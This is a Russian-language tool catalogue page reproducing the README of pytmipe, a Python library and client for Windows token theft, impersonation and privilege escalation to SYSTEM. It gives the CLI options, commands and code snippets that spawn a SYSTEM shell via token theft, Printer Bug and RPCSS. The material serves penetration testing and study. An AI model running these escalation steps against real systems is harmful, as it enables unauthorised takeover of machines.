Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
pytmipe — Библиотека Python и клиент для манипуляций с токенами и олицетворения для повышения привилегий в Windows | Kitploit
Инструменты/GitHubGitHub/quentinhardy/pytmipe
Повышение привилегийИнструменты для выдачи себя за другое лицоПост-эксплуатацияТестирование на ПроникновениеRed Teaming
GitHubquentinhardy/pytmipe

pytmipe

Библиотека Python и клиент для манипуляций с токенами и олицетворения для повышения привилегий в Windows

Репозиторий
123233 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

PYTMIPE & TMIPE

PYTMIPE (PYthon library for Token Manipulation and Impersonation for Privilege Escalation) — это библиотека Python 3 для манипуляции токенами Windows и управления имитацией с целью получения дополнительных привилегий в Windows. TMIPE — это клиент Python 3, который использует библиотеку pytmipe.

Содержание

  • Клиент на Python: tmipe (python3 tmipe.py)
  • Библиотека на Python: pytmipe. Полезна для включения этого проекта в другой
  • Примеры с pyinstaller для получения автономных exe-файлов

Документация

  • Слайды «Манипуляция токенами Windows, имитация и повышение привилегий» (английский): ссылка

  • Статья в MISC 112 (французский): ссылка

Основные возможности

МетодНеобходимые привилегииОС (не полный список)Прямая цель (макс.)
Создание токена и имитацияимя пользователя и парольВселокальный администратор
Имитация/кража токенаSeDebugPrivilegeВсеnt authority\system
Подмена родительского PID (наследование дескрипторов)SeDebugPrivilege>= Vistant authority\system
Служба (SCM)Локальный администратор (и высокий уровень целостности, если включён UAC)Всеnt authority\system или учётная запись домена
Событие WMIЛокальный администратор (и высокий уровень целостности, если включён UAC)Всеnt authority\system
LPE «Printer Bug»SeImpersonatePrivilege (учётная запись службы)Windows 8.1, 10 и Server 2012R2/2016/2019nt authority\system
LPE службы RPCSSSeImpersonatePrivilege (учётная запись службы)Windows 10 и Server 2016/2019nt authority\system

Возможности

Следующий неполный список показывает некоторые функции, реализованные в библиотеке pytmipe:

  • Управление токенами и привилегиями:
    • получение, включение или отключение привилегий на токене для текущего или удалённого потока
    • получение информации о локальном или удалённом токене
    • получение действующего токена для текущего потока (имитация или первичный токен)
  • Получение множества информации о выбранных токенах:
    • тип повышения, тип имитации, связанный токен с деталями, SID, ACL, группы по умолчанию, основная группа, владелец, привилегии, источник
    • и т.д.
  • Вывод всех токенов, которые доступны (первичные токены и токены имитации) из текущего потока:
    • 2 различных реализованных метода: метод «thread» и метод «handle» (предпочтительный)
    • проверка, можно ли имитировать токен
    • получение информации о каждом токене (тип повышения, тип имитации, связанный токен, SID и т.д.)
    • получение всех токенов, доступных по имени учётной записи (SID)
  • Имитация токена или пользователя:
    • Создание токена и имитация (требуются учётные данные пользователя)
    • Имитация/кража токена (требуются определённые привилегии): имитация выбранного токена
    • Создание процесса с токеном (требуются определённые привилегии): имитация выбранного токена и создание нового процесса
    • Имитация первого найденного токена nt authority\system
    • имитация первичного токена удалённого процесса с PID
  • Методы повышения привилегий:
    • Подмена родительского PID — наследование дескрипторов
    • Диспетчер служб через прямую команду или имитацию именованного канала: локальный администратор -> nt authority\system (или другая привилегированная учётная запись)
    • Планировщик задач через прямую команду или имитацию именованного канала: локальный администратор -> nt authority\system
    • Задача WMI через прямую команду или имитацию именованного канала: локальный администратор -> nt authority\system
    • Printer Bug: SeImpersonatePrivilege -> nt authority\system
    • RPCSS: SeImpersonatePrivilege -> nt authority\system
    • Повторное включение привилегий через планировщик задач и имитацию именованного канала

Зависимости

В основном используется ctypes. Многие функции pywin32 были переработаны в pytmipe, чтобы избежать использования pywin32 для лучшей переносимости. Однако модуль планировщика задач всё ещё использует pywin32 (точнее pythoncom) из-за нехватки времени. Все остальные модули используют только ctypes.

КАК ИСПОЛЬЗОВАТЬ

Для клиента на Python (с именем tmipe):

root@kitploit:~
python.exe tmipe.py -h
usage: tmipe.py [-h] [--version]
                {cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
                ...

                      **
    888888  8b    d8  88  88""Yb  888888
      88    88b  d88  88  88__dP  88__
      88    88YbdP88  88  88"""   88""
      88    88 YY 88  88  88      888888
-------------------------------------------
Token Manipulation, Impersonation and
     Privilege Escalation (Tool)
-------------------------------------------
By Quentin HARDY ([email protected])

positional arguments:
  {cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}

                         Выберите основную команду
    cangetadmin          Проверить, может ли пользователь получить доступ администратора
    printalltokens       Вывести все токены, доступные из текущего потока
    printalltokensbyname
                         Вывести все токены, доступные из текущего потока, по имени учётной записи
    printalltokensbypid  Вывести все токены, доступные из текущего потока, по PID
    printsystemtokens    Вывести все системные токены, доступные из текущего
    searchimpfirstsystem
                         Найти и имитировать первый системный токен
    imppid               Имитировать первичный токен выбранного PID и попытаться запустить cmd.exe
    imptoken             Имитировать первичный токен или токен имитации выбранного PID/дескриптора и попытаться запустить cmd.exe
    printerbug           Эксплуатировать «printer bug» для получения системной оболочки
    rpcss                Эксплуатировать «rpcss» для получения системной оболочки
    spoof                Подмена родительского PID («наследование дескрипторов»)
    impuser              Создать процесс с учётными данными с имитацией
    runas                Создать процесс с учётными данными как runas
    scm                  Создать процесс с помощью Service Control Manager

optional arguments:
  -h, --help             Показать это справочное сообщение и выйти
  --version              Показать номер версии программы и выйти

Для библиотеки на Python (с именем pytmipe) см. исходный код и примеры. Обычно я хорошо документирую исходный код... Большинство функций документированы.

Для примеров с pyinstaller и автономных файлов см. папки src/examples/.

Примеры

Если вы хотите узнать, как использовать библиотеку pytimpe, смотрите папку src/examples с многочисленными примерами.

Пример 1: получение nt authority\system

Для имитации первого системного токена и получения приглашения cmd.exe от имени system из клиента на Python (tmipe):

root@kitploit:~
python.exe tmipe.py searchimpfirstsystem -vv

Для того же самого с использованием библиотеки pytmipe напрямую см. src/examples/searchAndImpersonateFirstSystemToken.py:

root@kitploit:~
from impersonate import Impersonate
from utils import configureLogging

configureLogging()
imp = Impersonate()
imp.searchAndImpersonateFirstSystemToken(targetPID=None, printAllTokens=False)

Это откроет приглашение cmd.exe от имени system, если у текущего пользователя Windows есть необходимые права.

Разумеется, из этого исходного кода вы можете создать автономный exe-файл с помощью pyinstaller.

Пример 2: получение токенов

Для получения первичных токенов и токенов имитации, используемых в текущем процессе:

root@kitploit:~
python.exe tmipe.py printalltokens --current --full --linked

Вывод:

root@kitploit:~
- PID: 3212
------------------------------
  - PID: 3212
  - type: Primary (1)
  - token: 764
  - hval: None
  - ihandle: None
  - sid: S-1-5-18
  - accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
  - intlvl: System
  - owner: S-1-5-32-544
  - Groups:
    - S-1-5-32-544: {'Name': 'Administrators', 'Domain': 'BUILTIN', 'type': 4} (ENABLED, ENABLED_BY_DEFAULT, OWNER)
    - S-1-1-0: {'Name': 'Everyone', 'Domain': '', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
    - S-1-5-11: {'Name': 'Authenticated Users', 'Domain': 'NT AUTHORITY', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
    - S-1-16-16384: {'Name': 'System Mandatory Level', 'Domain': 'Mandatory Label', 'type': 10} (INTEGRITY_ENABLED, INTEGRITY)
  - Privileges (User Rights):
    - SeAssignPrimaryTokenPrivilege: Enabled
    [...]
    - SeTrustedCredManAccessPrivilege: Enabled
  - issystem: True
  - sessionID: 1
  - elevationtype: Default (1)
  - iselevated: True
  - Linked Token: None
  - tokensource: b'*SYSTEM*'
  - primarysidgroup: S-1-5-18
  - isrestricted: False
  - hasrestricitions: True
  - Default DACL:
    - {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0x10000000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-18'}
    - {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0xa0020000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-32-544'}
  [...]
  - Mandatory Policy: NO_WRITE_UP

Для получения всех токенов, доступных из текущего потока, сгруппированных по PID, когда возможна только имитация:

root@kitploit:~
python.exe tmipe.py printalltokensbypid --imp-only

Вывод:

root@kitploit:~
[...]
- PID 4276:
        - S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- PID 7252:
        - None
- PID 1660:
        - S-1-5-21-28624056-3392308708-440876048-1106: DOMAIN\USER (possible imp: True)
        - S-1-5-20: NT AUTHORITY\NETWORK SERVICE (possible imp: True)
        - S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
        - S-1-5-90-0-1: Window Manager\DWM-1 (possible imp: True)
        - S-1-5-19: NT AUTHORITY\LOCAL SERVICE (possible imp: True)
[...]

Если вы хотите выполнить эту операцию с помощью библиотеки pytmipe, это тоже легко:

root@kitploit:~
from impersonate import Impersonate
from utils import configureLogging

configureLogging()
imp = Impersonate()
imp.printAllTokensAccessible(targetPID=None, printFull=True, printLinked=True, _useThreadMethod=False)

Пример 3: имитация токена

Вы можете имитировать выбранный токен.

Первый шаг: получить все токены по вашим фильтрам (системные токены и токены, которые можно имитировать текущим потоком):

root@kitploit:~
python.exe tmipe.py printalltokens --filter {\"sid\":\"S-1-5-18\",\"canimpersonate\":true}

Вывод:

root@kitploit:~
[...]
- PID: 2288
------------------------------
  - PID: 2288
  - type: Impersonation (2)
  - token: 2504
  - ihandle: 118
  - sid: S-1-5-18
  - accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
  - intlvl: System
  - owner: S-1-5-18
  - issystem: True
  - elevationtype: Default (1)
  - iselevated: True
  - linkedtoken: None
  - implevel: Impersonate (2)
  - appcontainertoken: False
  [...]
  - primarysidgroup: S-1-5-18
  - isrestricted: False
  - hasrestricitions: True
  - Mandatory Policy: VALID_MASK
  - canimpersonate: True
[...]

Этот предыдущий вывод показывает токен имитации, расположенный в PID 2288 (дескриптор 118), который имеет уровень целостности system. Можно имитировать этот конкретный токен следующей командой:

root@kitploit:~
python.exe tmipe.py imptoken --pid 2288 --ihandle 118 -vv

Эта предыдущая команда открывает cmd.exe от имени nt authority\system.

То же самое можно сделать с библиотекой pytmipe. Следующий исходный код имитирует первый доступный системный токен, выводит действующий токен и прекращает имитацию:

root@kitploit:~
from impersonate import Impersonate
from windef import TokenImpersonation

allTokens = imp.getTokensAccessibleFilter(targetPID=None,
                                          filter={'canimpersonate':True, 'sid':'S-1-5-18', 'type':TokenImpersonation},
                                          _useThreadMethod=False)
if allTokens == {} or allTokens==None:
    print("Не найден ни один токен для имитации")
else:
    pid = list(allTokens.keys())[0] #используем первый токен первого PID, возвращённого в 'allTokens'
    firstIHandle = allTokens[pid][0]['ihandle']
    imp.printThisToken(allTokens, pid, firstIHandle)
    imp.impersonateThisToken(pid=pid, iHandle=firstIHandle)
    print("Действующий токен для текущего потока после имитации:")
    imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
    imp.terminateImpersonation()
    print("Действующий токен для текущего потока (имитация завершена):")
    imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)

Пожертвования

Если вы хотите поддержать мою работу пожертвованием, буду очень благодарен:

Через BTC: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf

Скачать инструмент